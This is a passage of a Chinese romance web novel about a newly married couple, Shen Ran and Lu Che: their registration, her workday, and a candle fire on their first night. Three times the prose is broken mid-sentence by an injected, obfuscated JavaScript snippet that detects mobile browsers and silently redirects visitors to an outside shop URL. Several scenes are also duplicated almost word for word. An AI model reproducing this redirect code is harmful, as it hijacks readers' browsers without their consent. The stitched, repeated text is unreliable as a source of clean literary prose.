沈然意识到自己又跑题,乖乖往旁边挪了五厘米,重新调整姿势:坐直、放松、嘴角上扬五度,标准的会议结束合影表情。 摄影师沉默三秒:“姑娘,我们这不是给你做工作证。” 沈然继续诚恳:“我不太会对镜头表达情绪。” 摄影师无奈又好笑:“那你想一个愉快的画面。第一次见你老公的时候也行,牵个手也行,亲一下也行。想三秒,然后看我。” 沈然点头,认真思考三秒。 就在确定要看镜头的那一瞬,她脑子里突然跳出七年前的一个画面。 剑桥图书馆的一个角落。 深冬的暖气声很轻,书架间安静得能听见纸张翻动。一个陌生的青年站在光影之间,神情专注又冷静。 那是她第一次见到陆澈。 她当时只是路过,只记得一个非常客观的念头: 长得好看,完全在她的审美区间内。 摄影师的声音从前方传来:“好了,看镜头,保持刚刚那个感觉。三、二、一。” 快门声落下,咔嚓。 拍完后,摄影师盯着屏幕看了三秒,叹气:“行吧……至少不像工作证了。” 沈然礼貌道:“谢谢。” 摄影师瞥了她一眼,又忍不住碎嘴问陆澈:“你老婆一直这么稳吗?一点都不紧张。” “嗯。” 沈然淡定回应:“紧张不会提高拍摄成功率。” 摄影师:“……” 陆澈在旁边低头,明显笑了一下。 拍照完,排队交材料,似乎已经到了最后的时刻,沈然看了眼表,估算了下几点开会合适,随后把时间发给助理。 旁边刚好有个红底大屏在循环放宣教视频: 【文明离婚,理性分手】 【拒绝家暴,从你我做起】 沈然停住脚,看了两秒,眉头轻轻皱起:“……这个入口设计得不太友好。” 陆澈侧头:“嗯?” 她思考了一下,语气很认真地总结:“把登记和解散放在同一个大厅,会让用户在进入时产生不必要的压力。” 陆澈:“?” 沈然看他一眼,误以为他被触动了,声音放得更轻:“你不用因为那个出口感到不安。” 陆澈:“……我为什么要不安?” 沈然以为他是羞于启齿,语气变得格外温柔:“我会尊重你的节奏。” 陆澈:“什么节奏?” 沈然低声:“在你没有准备好之前,我不会逼你做任何决定。” 陆澈彻底愣住:“??” 沈然继续安慰他,清清淡淡,却诚意十足:“如果有一天你决定要走那扇门,记得提前告诉我。我会配合你的安排。” 陆澈整个人都沉下去了:“沈然。” “嗯?” “你现在在说什么?” 沈然坦然:“离婚流程。以及你的未来伴侣。” 陆澈:“…………” 他盯着她,像在努力确认是不是自己产生了幻觉。 沈然误会他沉默的原因,以为他更不安了,于是补了一句:“你不用担心我。我是可以接受的。” 陆澈深吸了一口气,将她往前带了一步:“别说了。” 沈然乖乖闭嘴,往前走了两步。 陆澈却站在原地,眉心轻轻蹙着,像终于回过味来。 ——我到底做了什么,会让她觉得我要跟她离婚? 这段小插曲很快被最后两步冲淡。 马上到提交材料登记的窗口时,沈然不自觉地站得更直一点。 工作人员接过他们的材料,一边扫身份证一边问:“婚检做吗?今天领证,婚检免费。” “不用。”沈然脱口而出。 工作人员抬头:“这么爽快?” 陆澈侧头看她:“你很确定?” “你的健康风险概率很低。”她语气平静,“我有见过你的体检报告。” 工作人员:“……” “再说婚检项目覆盖不全,不具备完全的风控作用。”沈然礼貌补充。 工作人员被她一本正经的词汇晃了一下:“……行吧,那你们签个自愿放弃。” 沈然愣了一下,还以为他被触动,语气自然放轻:“你不用因为出口感到不安。” 陆澈停住,完全没跟上她的思路:“我为什么要不安。” 沈然误以为他只是不好意思承认,话说得更温和:“在你没有准备好之前,我不会逼你做任何决定。” 陆澈完全愣住:“什么决定。” 沈然看着前面窗口:“离开。还有你未来的伴侣。” 陆澈沉默了很久。 他盯着她的侧脸,心里只有一个问题: 我到底做了什么,会让她觉得我要跟她离婚? 沈然以为他沉默是更不安了,补了一句:“你不用担心我。我是可以接受的。” 陆澈深吸口气,抬手按了按她的肩膀,把人往前带了一步:“别说了。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889023|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然很听话,闭嘴跟上前两步。 这一小段插曲被最后的流程冲淡,很快轮到他们到窗口登记。 工作人员接过他们的材料,一边刷身份证,一边顺口问:“婚检做吗。今天领证,婚检免费。” “不用。”沈然脱口而出。 工作人员抬头,看了她一眼:“这么爽快。” 陆澈侧头看她:“你很确定。” “你的健康风险概率很低。”沈然的语气像在汇报,“我看过你的体检报告。” 工作人员手一顿:“……” 沈然补了一句:“而且婚检项目覆盖不全,不具备完全的风控作用。” 工作人员被她这一串词晃到了,愣了两秒才反应过来:“行,那你们签个自愿放弃。” 单子递出来。 陆澈接过去,利落地签了名字,签的时候低声问:“所以你是相信我,还是相信你的模型。” “都信。”沈然说,“数据不会骗人,你也不会。” 这句话说得太顺口,工作人员听完忍不住笑:“挺会说。” 沈然愣了一下,这才意识到自己这句听起来有点像变相表白,刚想解释一句“我是从统计学角度”,话还没说完,就被工作人员很干脆地截住:“好了,祝你们幸福。下一对。” 真正到签名字那一步时,反而安静下来。 桌上整整齐齐放着几本红色封皮的证书,灯光有点冷,纸张薄得出乎意料。 工作人员指给他们看:“在这里签。照身份证写就行。” 沈然拿起笔,笔尖落到纸面上的瞬间,她的手停了一下。不是抖,而是一种所有神经都确认自己正在做这件事的停顿。 她写下“沈然”两个字,笔画利落。 换陆澈的时候,她不自觉看了一眼。 男人握笔的姿势和当年在白板上写公式时一模一样,字也还是那样,好看,但不抢眼。 签完,红章落下,声音很重。像一记真正敲定的锤子。 工作人员把两本小红本推过来:“恭喜。” 沈然接住。 小小两本,轻得有点不真实。 她翻开一眼。 照片里,她微微笑着,肩膀朝陆澈那边倾过去了一点。陆澈则是斜倾在她身上,笑容难掩。 照片里两个人靠得很近,比她以为的要近很多。 工作人员提醒:“不要在这里看太久,后面还排队呢。” “哦。”沈然把证合上,往旁边挪了一步,让出位置。 陆澈伸手碰了碰她的肩,把她往自己这边带了些,给后面的人留出更多空间。 身后有人压低声音小声议论。 路人悄悄说他们“颜值很配”。 沈然听见了,点了一下头,很认真地评价: “确实,我们的外貌匹配度在九十分以上。” 陆澈侧头看她:“外貌……匹配度?” 沈然语气平静:“嗯。你作为他者参考系,属于高审美价值个体。和我站在一起,不会让人产生视觉违和。” 陆澈:“……” 她继续补充:“合作关系里,形象一致性有利于减少外界争议。” 她顿了顿,又一本正经地总结:“从数据上看,我是占你便宜的那一个。” 陆澈彻底沉默。 周围人完全听不懂她这段“客观分析”,但莫名觉得这对新人关系非常……牢固。 沈然察觉到他的沉默,以为他介意,于是又补了一句想安慰他: “你不用有压力,我不会因为你长得好看就对你有不必要的期待。” 陆澈:“……” 这句话像一把轻飘飘的刀,从心口插进去又拔出来。 拿到证之后,两人并排走出民政局。 清晨的风把台阶边的小旗吹得猎猎作响。 沈然低头,又把小红本上的信息从头到尾看了一遍:姓名、照片、公章、日期,纸张边角没有折痕。 陆澈看她检查得这么仔细,声音压得很低:“要我再核对一遍吗。” “不用。”沈然合上证,“我只是确保流程完整。” “那流程的下一步呢。”他问。 “我去公司。”她回答得很自然,“你不是下午还要去会场发言,发完就可以赶晚上的航班回北京。” “计划变了。”陆澈看着她,语气很平静,“我今天不走。” 沈然愣了一下:“怎么了,研讨会取消了?” “没取消。”他像在说一件无关紧要的小事。 沈然怔了一下,像是没听懂。 风从她耳边掠过去,很轻。周围的吵闹声都被隔在远处。 陆澈看着她,补了一句: “我最近都不回北京。” 10. 独家发表 那天上午领完证,沈然还是照常去了公司。好在陆澈车技娴熟,民政局也不算远,只是比平时晚了半个小时。 前台小姐姐正抱着平板在看早盘行情,一抬头,看见沈然走进来,整个人怔了一下:“……沈总,您今天路上堵车了?” 沈然顿了顿:“没有,只是流程稍长了一点。” 她说得云淡风轻,像是在解释早上多开了一个会。 小姐姐下意识想追问“什么流程”,又迅速放弃。 以沈然的生活方式,很难想象她会有“迟到”的理由,大家默认她的早晨可能包含三封跨时区邮件、两个方案修订和一次视频会议。 不过她今天确实不太一样。 脚步比平时慢了一点,肩线松了一点,连保温杯的颜色都从一贯的银灰色换成了有点莫名少女感的奶白色。 助理小陈远远迎上来,声音压得很低:“沈总,早上的会议我帮您往后挪了一个小时。您……还好吗?” 助理小陈迎上来,压低声音:“沈总,会议挪到九点半了,您……还好吗?” 沈然想了想:“血糖有一点波动。” 早上排队、早餐没吃,现在心跳比平常快了不到一格。 ——归因为血糖,而不是那本红色的小册子。 “先开会。”沈然说。 她从头到尾一句“我结婚了”都没提。 不是刻意隐瞒,只是这件事对她来说还没进入“对外披露”的阶段。 在她的脑子里,目前标签依然是: 【流程已完成,但对业务无直接影响】。 至少现在没有。 十点,会议室。 项目组的人基本都到齐了。 平时只要听见沈然的鞋跟声,大家的背会自动挺直半厘米—— 这已经是肌肉记忆。 门被推开,沈然走进来,动作照旧利落,只是语速慢了一点:“开始吧。” 没有平时那种“暴风雨前”的安静气压。 今天的她,看起来甚至有点……温柔。 周衡坐在她对面,第一眼就察觉到了不对劲。 这个女人平时进场,是带着一种“把问题全部摊在桌上”的锋利感。 今天收了一层。 像是被什么看不见的东西罩住了,边缘变柔和了一点。 但真正坐到案子上的时候,沈然还是那个沈然。 今天汇报的是周衡。 三十岁,芝加哥大学金融系,回来之后一路做并购、重组,是Horizon亚太区这边最有攻击性的一批人里,少数真正能和沈然“对线”的人。 他今天穿了烟灰色西装,领带打得一丝不苟,语速不快,逻辑一如既往干净。 汇报做到一半,他很自然地把话题收束:“以上是我目前对这个收购案的判断,供大家参考。沈总看有没有需要补充的?” 沈然看向屏幕,安静了一会儿:“整体不错。” 项目组的人几乎肉眼可见地松了口气。 项目组的人刚松一口气,就听她又补了一句:“有一个前提。” 她起身,在白板上写了几个字: 【披露动机】 “你们默认对方给的是‘全部诚实信息’。”沈然说,“但现实里,很多公司只给对自己最有利的一部分。” 她把笔帽扣上,语气平静:“动机不同,信息结构就不同。把这一块加进来,模型重跑一轮,数据我下午六点前要。” 没有火气,没有质问。 就是很客观地指出一刀下去会翻盘的盲点。 年轻分析师们汗毛还是竖了起来。 这就是沈然。 就算今天整个人像“低电量模式”,杀伤力还是满格。 周衡在桌后盯着她。 他很清楚,这种级别的调整,不是随便一想。 沈然眼下淡淡的青痕、刚才那一瞬间失焦的视线,还有进门时那杯奶白色的保温杯……拼起来,变成一个他不太熟悉的版本。 “沈然。”周衡等会议室的人差不多走干净,他忽然开口,“你昨晚熬夜?” “没有。”沈然说。 周衡眉头拧了一下:“那你今天怎么……感觉不太一样。” 沈然认真想了下,给出结论:“我的血糖今天有轻微波动。” 她说这话的时候,语气冷静得像在汇报季度报表。 周衡看着她,忽然有种很轻微的挫败感。 他从来读不懂她的小幅变化究竟从哪儿来。 午休时间。 沈然没有去员工餐厅,照例在办公室里解决午饭,今天是助理买来的沙拉和一杯常温水。 手机屏幕亮了一下。 【夏栀:进组前最后一次做良心朋友,发个结婚大红包给你】 【52,000】 沈然盯着那行“结婚大红包”看了两秒,指尖微微发热。 不是情绪,是对巨额现金流入的期待和喜悦。 她忽然想到早上民政局门口,陆澈在躺列很久的科研群里连发的几个红包。 【今天登记,各位随便抢点喜气。】 紧接着是几个象征性的红包。 她当时看了一眼,没有在群里说话,只默默点开其中一个,抢了3.14,新鲜出炉的π。 群里一片起哄: 【老陆,新娘子合影呢,别光发红包。】 【我靠,RS还在群里?活久见!忙啥呢你?@RS】 【以后请客别想跑。】 她没回,只是关掉了红□□面,顺便对身边的陆澈说了声谢谢。 这时,夏栀的短信轰炸又刷新了一条,打断了沈然的思绪。 【沈哥,你现在给我自拍一张,单人照也行,我自己用软件把陆澈扣图P上去】 夏栀继续催:【快拍。我要嗑糖。】 沈然犹豫了一下,站起来,把窗帘拉开一点。 午后的光打在桌面,她把桌上小红本拿出来,放在靠墙那一角,自己退后半步,试图在镜头里挤出一个“合格的笑”。 没有练习过这项技能,笑了两次都觉得不对劲。 她还在调整角度,办公室的门被敲了两下,又被直接推开。 “沈然,你——” 周衡的声音顿住。 他看到的是:沈然站在窗前,手里举着手机,桌角放着一抹红色封皮。 她耳廓被光映得很浅,表情因为被打断,略有点不自然。 “你怎么不敲门?”沈然放下手机。 “敲了。”周衡抬了抬手里的文件,“你没反应。” 他的视线在那一抹红色上停了半秒。 封皮被文件压住了一部分,看不清字,只能看出来是某种“正式证件”。 他没问。 沈然也没解释。 “刚开会你提的那几个点,我补了一版。”周衡把文件放下,“你有空的时候看一下。” “好。”沈然说,“放这儿吧。” 周衡看着桌上的封皮,又看了看她刚刚拿手机的姿势,淡淡问了一句:“你在拍什么?” 沈然觉得这个问题没必要展开:“私事。” 她说这两个字的时候,语气非常平稳。 稳到让周衡意识到—— 无论那是什么,她都不打算让他靠近。 “那我不打扰你。”周衡收回视线,“下午新加坡那边的电话会议,我替你先接半小时,你晚点进来。” 沈然点头:“可以。” 门关上的一瞬间,她才低头给夏栀发过去那张稍微勉强合格的自拍。 【沈然:发了。】 对面几乎秒回:【沈哥绝美!我靠,这个男人如果哪天不要你了,记得第一时间告诉我,我帮你起诉他。】 沈然看了一眼那句话,心里突然很短暂地顿了一下。 那种被人“坚定站在自己这边”的感觉,轻轻撞了一下心口。 不过这一次,她没有把它归类为低血糖。 她把标签换成了: 【好友情绪稳健输出】 三点多,办公大楼大堂。 刚送走一个客户,沈然准备回办公室接下段总公司的视频会议。 路过大堂的时候,她的脚步略微停了一下。 玻璃门那边,一个男人正站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889024|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在阴影边缘。 白衬衫,深色长裤,手里拎着一个小纸袋,另一只手拿着手机,低头看着什么。 灯从头顶落下来,把他侧脸勾了一层淡光。 沈然只看了一眼,就知道是谁。 她也不知道为什么会知道。 也许是身形,也许是他站着时那种“完全不需要适应周围环境”的安静感。 沈然看了眼新收到的信息,推门出去:“你怎么来了?” 陆澈抬头,像是才看到她:“顺路,你要出去办事?” “刚送走了个客户,正要回去。” 陆澈点点头,把手机放进兜里,把纸袋递给她:“咸奶茶,少糖。你之前好像还挺喜欢喝的。” 沈然自然接过,杯壁微微烫手:“……谢谢。” 她低头看了一眼,发现纸袋里不止奶茶,还有小份的蛋糕和她喜欢的那种无糖小饼干。 “研讨会结束了?”她问。 “结束了。”陆澈说,“正好过来先把车钥匙还你。” 他从口袋里掏出钥匙,“晚上就不接你了,你自己开回去。我回家收拾收拾东西。” 沈然点头:“好,地址和密码都发给你了。” 她抬手接钥匙时,指尖擦到他的手背,温度很高,不烫,却让人意识到具体的“存在”。 沈然的心跳轻轻往上跳了一格。 不是夸张到胸腔震的那种,只是比静息状态快了一丢丢,快到她自己都皱了一下眉。 她立刻给出一个完全符合她逻辑体系的诊断: “……中午可能吃得太少。” 像是在向自己解释,又像在解释空气。 陆澈低头看她一眼,眼尾压着一层若有若无的笑意,轻得像雾:“那你下午少开几个会。” 沈然没意识到这句话的语气明显不像“同事关心”,更像“居住同一屋檐下的人的自然语态”。 她只是点头:“我尽量。” 陆澈忽然又补充了一句,像是不经意:“晚上加班的话,提前跟我说一声。我等你吃饭。” 沈然愣了一下。 不是被“等你吃饭”这五个字吓到,而是被那种他理所当然就站在她生活边上的稳定感轻轻撞了一下。 她很快整理好思路:“嗯。今天不加班。但有文件要回家看。” “那就好。”陆澈说。 他的声音始终不高,但落在她心里时,有一瞬间形状不太对劲。 沈然把这种奇怪的触感归类为: 【午后强光导致的短暂情绪错觉】 玻璃门另一侧,有人匆匆进来,低头刷着信息,完全没注意到外面这一幕。 两个人站在门口,奶茶杯在她手里冒着小小水汽, 陆澈站在她侧方半步,撑着一道柔和的阴影。 从远处看去—— 像一幅安静到不会被误会的画面。 晚上八点。 沈然下班,比平时早了近四十分钟。 一路上,她都在脑子里整理白天的会议信息和项目风险点。 直到把车停在楼下,才慢半拍地意识到: 今天是她领证后的第一天。 也是她第一次在“有一个法定同住人”的前提下回家。 她想到这里,心跳不太明显地顿了一下。 还是那种,她可以用“开车时注意力过度集中导致的生理应激”来解释的强度。 门一开,客厅的灯是亮的。 她下意识以为是物业或者助理来送文件,换了鞋,抬头—— 厨房那边传来切菜的声音。 陆澈穿着她早上见到的那件白衬衫,外面套了一条深色围裙,袖子卷到小臂,动作不快不慢地在案板上处理蔬菜。 灶台上有两口锅,一口里汤轻轻咕嘟,一口锅里油正在热,发出细小的声响。 陆澈抬眼:“你回来了。” 他说这句话的语气,就像他们已经结婚十年。 沈然的思维短暂空白了一秒。 她突然意识到一个事实。 他不是“来她家做饭”。 是—— 回家了。 11. 文学城独家 “手里拿的什么?”陆澈注意到她抱着一大箱子,放下手里的菜,走过去,一眼看到上面大大的四个字,小心点火。 “不知道,夏栀给的。”沈然看他要接,直接递过去,这箱东西还挺沉的,脑海里想到夏栀刚才发来的语音。 那头夏栀的声音兴奋得像刚杀青: “沈哥,你现在是已婚人士了。恭喜你从资本市场成功转板民政系统。我进组了,接下来一个月没法及时当你婚后情绪垃圾桶,所以我提前给你准备些应急物资。一楼前台有个快递箱,你上去的时候顺手拿了就行。记得用。主动一点,别把婚后第一晚过成开会。” 最后那句话咬得特别重。 “沈小姐。”一个熟悉的声音从餐桌那边响起,“你回来了。” 是负责打扫和做饭的宋阿姨。 宋阿姨今天明显打扮得比平时正式,围裙是新的,头发也扎得很整齐,脸上挂着一种“看自家女儿出嫁”的欣慰笑容。 餐桌上,摆着两套餐具,一碗汤,一盘菜,还有一大盘切好了的水果。 沈然停在门口,脑子里飞快做了一个简单的因果链: 陆澈下午来了没改门锁,也没有把宋阿姨辞退,而是很自然地接管了现有家政体系。 “不好意思,忘了跟您说今天会有人过来的事。”沈然换鞋,顺便把那只快递箱放到一边。 “然然,你结婚第一天,恭喜了。”宋阿姨笑得合不拢嘴,跟自己家女儿结婚似的,“小陆给说你们今天扯证,让我把卧室好好收拾一下。新床品都换上了,窗帘也擦过了。” 主卧这两个字,沈然的脑子轻微卡了一下。 “主卧。”她重复了一遍。 “可不嘛。”阿姨压低声音,“新婚头几天,最好别分房睡。” 沈然:“……” 她的理性系统在这一刻疯狂弹出红色提示框。 这不符合她昨天在营地开会时输出的那套“分房有利于婚姻稳定”的论点。 “宋姨。”沈然努力保持礼貌,“我们暂时还处在磨合阶段。” 阿姨听了一愣,以为她不好意思,当场开始传授经验:“磨合也要睡一张床上磨合。你看,主卧的床我都换好了,新的四件套,喜庆但不俗气。你们年轻人工作忙,回家能一起睡个好觉,比什么都强。” 沈然想解释一下“合约婚姻”和“长期项目分期执行”,但理智告诉她,这些概念对阿姨来说可能过于超纲。 她只好点头,暧昧地说了一句: “我会综合考虑的。” 阿姨这才满意地点点头,看陆澈在那继续做饭,她从冰箱里拿出一个密封好的玻璃盒,走到避人的地方,塞到她手里。 “这个是我切好的果盘。你晚上吃完饭,把这个端给小陆。” 沈然低头,看了一眼装得满满当当的水果块。 红红黄黄组成一个桃心,摆得很有仪式感。 宋阿姨又补了一句: “男人结婚头一天,一定要吃甜的。” 沈然有点想笑,又不好笑出来,只能点头:“好。” 宋阿姨看了看时间,收拾好东西准备走。 走到门口,突然想到什么,走过去塞了一个红色信封给沈然: “然然,小陆人挺好的,看着也靠谱。你别总熬夜加班,顾事业也要顾顾家,祝你们新婚快乐。” 沈然下意识要把红包退回去,却被宋阿姨摁在手里,“拿着拿着这是我一点心意。咱中国人讲究这个的。而且咱俩又不是刚认识,怎么突然跟阿姨我客气了。” 沈然懵懵的,她不太明白为什么大家都发红包,明明这只是一个签约仪式,但却觉得他们都比自己高兴。 沈然点点头礼貌回答:“我会在不影响工作质量的前提下,做出适度调整。” 宋姨完全听不懂她这套公司话,只听出了一个重点: 她没有否认。 门关上。 屋子里一下安静下来。 餐桌上那盘切好、随时可以“喂给男人”的果盘,显得格外醒目。 旁边是夏栀的快递箱,上面那行“小心点火”的字有点刺眼。 她先把果盘放进冰箱,防止氧化,站在厨房一角,看着陆澈忙前忙后,有一种说不出的梦幻感。 毕竟上次见面都是六七年前在实验室,记忆都模糊了。 她一定想不到,之前在实验室里那个不苟言笑的陆组长,现在会撸着袖子,穿着围裙在她的厨房里做饭。 认真地程度堪比在实验室里调参数。 陆澈注意到她的注视,没停下,自然地说了句:“把西兰花端上去吧,马上就好。” “嗯,不用做太多,我吃不了多少。” “嗯。”陆澈话这么说着,手上动作一点也没停,不过一会儿,桌上摆了三菜一汤,荤素搭配,都是家常菜。 沈然有些意外,盯着饭菜看了一会儿,动筷子尝了一口番茄牛腩。 酸甜多汁,软烂适中。 意外的好吃。 “你……很会做饭。”沈然声音不大,像是在和自己说,感觉说不上来的别扭,因为平时都是宋姨或者夏栀陪她吃饭。 “吃吧,时间不早了。”陆澈看了眼表,随即动筷子。 两人没再怎么说话,只见着桌上的饭菜一点点的少下去。 沈然难得吃了半碗米饭,抚着胃口慢慢揉着。 她有个毛病,稍微多吃点就胃不舒服。 刚才那半碗饭下去,胃已经开始轻微抗议,她下意识按了按小腹,动作很小。 陆澈抬眼,看见了:“别再吃了,等会儿喝点热水。” “嗯。”沈然放下筷子,给自己做了个简单的小结: 婚后共同用餐的第一个风险点,米饭摄入量不可控。 陆澈饭量正常,饭菜很快见底。 陆澈起身去厨房收盘子,动作熟练得像已经在这里生活了很久。 “我来——”沈然客气性地动了一下。 “你坐着。”他没回头,只是淡淡说了一句,“今天你已经忙了一天了。” 这话听起来像是在陈述事实,又隐隐带着一点“别逞强”的意思。 沈然只好收回手,坐回餐桌旁。 视线一低,就正好对上那盘切得整整齐齐的果盘。 红的黄的,甜腻得一目了然。她现在的胃已经没有余量去承接这份“喜庆”。 再往旁边一点,就是那只被她顺手放到角落里的快递箱。 硬纸壳上那几个字格外醒目: 小心点火。 水果代表“甜”,纸箱代表“危险”。 婚后第一顿饭刚结束,她面前就出现了这两个关键词。 沈然安静地坐了两秒,做了一个简单的决策。 先把“甜”保存起来,把“风险”拆开看看。 她起身,把果盘装回玻璃盖里,利落地塞进冰箱,算是防止氧化,也顺便给自己的胃留条生路。 关上冰箱门后,她回到客厅,把那只纸箱拖到沙发旁,拆开封口胶。 里面是她预期之内、又略微超出预期的东西。 一整箱精心搭配好的“气氛用品”。 香薰蜡烛、玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889025|192149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃烛杯、金属烛盘、柔光小夜灯,还有一串卷成一团的暖黄色小灯串。 颜色从白到琥珀,渐变得很高级。 最上面压着一张卡片,是夏栀的字。 【祝你婚后第一晚,至少看起来不像加班现场】 背面还有一行被划了重点的提示: 【主动一点,用。】 她看了两遍,没有立刻照做,而是先在脑子里把信息分类归档。 外部环境给出的指令是:氛围、甜、亲密。 她自己的需求是:安全、可控、不过敏。 这两套需求短暂对峙了几秒钟,最后达成了一个折中方案。 先从她最擅长的领域下手,环境改造。 既然婚姻是长期项目,应当适度营造稳定、温暖的环境,便于双方在情绪上完成过渡。 再通俗一点,她想试着让这个家,看起来不那么像办公室。 “你先看会儿邮件。”她转身,把刚走出厨房的陆澈按回沙发,“我去处理一下照明。” 陆澈:“?” 他下意识以为她要去研究灯泡瓦数,直到看到她从纸袋里开始掏东西。 玻璃烛杯,金属烛盘,一整个香薰蜡烛套装。 白的、金的、琥珀色的,一字排开。 陆澈慢慢放下手里的电脑:“你打算干嘛?” “营造氛围。”沈然很认真,“我刚才查过,柔和光源有助于缓冲婚姻初期的不适应。人会更平静。” 她一边说,一边就手点了起来。 “这个是白茶味,适合入睡前;这个是檀木,放在客厅可以稳定情绪;这个柑橘有助于静心凝神……” 陆澈靠在沙发上,看着她在茶几、电视柜、窗边,一路排点过去。 ……是不是有点太多了。 “你点几根就行。”他忍不住开口,“不用点满屋。” “我计算过体积和燃烧时间。”沈然说,“这样配比比较均匀。” 陆澈:“……” 他忽然非常想知道,写进她人生规划里的“浪漫”两个字,到底长什么样。 毕竟现在看起来,像“高危试验”。 十分钟后,客厅的灯被关掉。 只剩下一圈圈摇晃的烛光。 如果数量减半,这会是一个挺暧昧的画面。 现在的感觉比较接近—— 一场以客厅为祭坛的安全生产纪念仪式。 各种味道混在一起,白茶、檀木、柑橘、海盐、麝香,像把香水店和中药铺同时点燃了。 陆澈站在原地,沉默了三秒:“……你确定这是缓解不适?” “是。”沈然鼻子适应得还挺快,“你不觉得有点……温暖吗?” 有是有。 暖得有点窒息。 “你要是烟雾过敏,我可以开一点窗。”她很体贴。 她刚说完,就伸手去拉窗帘。 陆澈本能地说了句:“当心火——” 话还没落地,窗帘下摆被一根靠得太近的烛火点到了。 布料一开始只是变黑,下一秒,“刺”地一下亮出一小团火苗。 三秒钟内,陆澈的人已经过去了。 他一把扯下窗帘,踩在地上。火苗顺着布料蹿了两下,又被他狠狠踩灭。 空气里一下多了一股焦味。 沈然愣在原地,手里还捏着一根没点燃的香薰蜡烛,表情非常冷静:“这不在预期范围里。” 陆澈:“……” 他抬头看她:“沈然,你刚刚差点把我们婚后第一晚,烧成火灾演习现场。” 12. 文学城独家 沈然低头,认真反思:“我的确低估了风速和烛火高度的联动率。” “……” 他本来是想严肃地说两句“以后别乱来”,结果被她这句“联动率”给噎得差点笑出来。 “你怎么想到的点这么多?”他问。 沈然认真:“因为这是个节点。” “什么节点?” “人生阶段切换。”她说,“我不太擅长处理这种事,就只好先从环境入手。视觉和嗅觉的变化,会帮助大脑认知新的状态。” 简单来说,她在用自己最擅长的方式做一场环境实验,帮自己接受“结婚”这件事。 陆澈看着她。 她站在一地被踩皱的窗帘旁边,被几十个小烛光包围着,头发有一点乱,神情很冷静。 那种冷静里,有一点点生硬的用力。 他忽然就笑不出来了。 脑海里还冒出一些模糊的旧事。 “以后这种事,”他走过去,从她手里接过那根蜡烛,顺手吹灭旁边一圈,“让有消防意识的人来。” 沈然抿了下唇,指尖无意识的捏了捏,“你嫌我危险。” “嗯。”陆澈难得直接,“危险得要命。” 他说完,像是被刚才那团火影子余烬烫了一下,没有立刻移开视线。 下一秒,他抬手,指尖扣住她握着蜡烛的手腕,轻轻往自己这边带了一点,拉到视线下。动作很稳,也很克制。 沈然显然没预料到这一出,下意识想往回收,力道却不大。察觉到他只是低头检查,她也就没再动。 他看得很仔细,像在确认某个实验步骤。 “你的手好凉。”她忽然说了一句,语气很自然,“冷气调一调吧。” “嗯。”他的声音低了些,目光仍停在她手上,随后抬眼看她,“有没有烫到?” 沈然愣了一下:“没有。” 他这才松开手,指尖离开时极轻,转而吹灭她身侧那一圈摇晃的烛火,他的脸颊几乎是擦着她肩膀过去的。 短短几秒,却让空气里的焦味变得不再单纯是焦味,更像是一点不小心泄出来的情绪。 沈然抿了抿唇,很诚恳地总结:“那我们以后减少明火使用。” 陆澈:“……” 这个女人的浪漫开关,可能真的是跟常人装反了。 事故处理完,窗帘被先卷起来塞到一边,客厅恢复灯光。 剩下几根“幸存”的小蜡烛,被陆澈统一收编到了餐边柜角落。 “这几根留着。”他说,“以后你要是想点,点一根。” “我可以用无火香薰。”沈然很虚心,“那种没有明火。” “……” 他觉得再聊下去,自己可能会被她的“安全理念”影响,开始考虑研究所宿舍的消防通道设计。 “去看卧室。”陆澈转移话题。 卧室有两间。 这是他们之前就讨论过的“双卧室灵活制度”。 沈然对这个制度非常满意。 她先推开第一间门:“这个是主卧,床大一点,有投影。” 房间里已经被阿姨收拾过,新的四件套铺得平平整整,颜色是很安全的米白色,只在枕套边缘绣了两圈不那么安全的红色暗纹,中间躺着几朵还有她本应该属于花瓶里的玫瑰。 沈然站在门口,沉默一秒。 “阿姨布置的。”陆澈回答了她表情上的沉默。 “是。”沈然淡淡,“她刚才强调了一次‘新婚头几天最好别分房睡’。” 陆澈:“……” 他忽然有点想知道,自己在这个家政系统里,现在的标签是什么。 沈然敏锐捕捉到他的沉默,很专业地给出补充说明: “我已经向她说明了,我们还处在磨合阶段。” 陆澈:“你怎么说明的?” “我说,我们属于先建立合作框架,再逐步调整生活模式。” “……” 他大概能想象到阿姨听完这句话时的表情。 “这里以后可以作为……公共空间。” “公共?”陆澈挑眉,“卧室也算公共空间?” “对。”她认真,“我希望卧室不要放太多双方的私人物品,这样方便调整。” “方便什么?” “比如有访客来,我们可以统一口径。” 陆澈:“……” 他努力消化了一下这个逻辑:“那另一间呢?” “你那间。”沈然带他到对面,“我会再布置一下,更适合你睡眠。” “那你睡哪儿?” 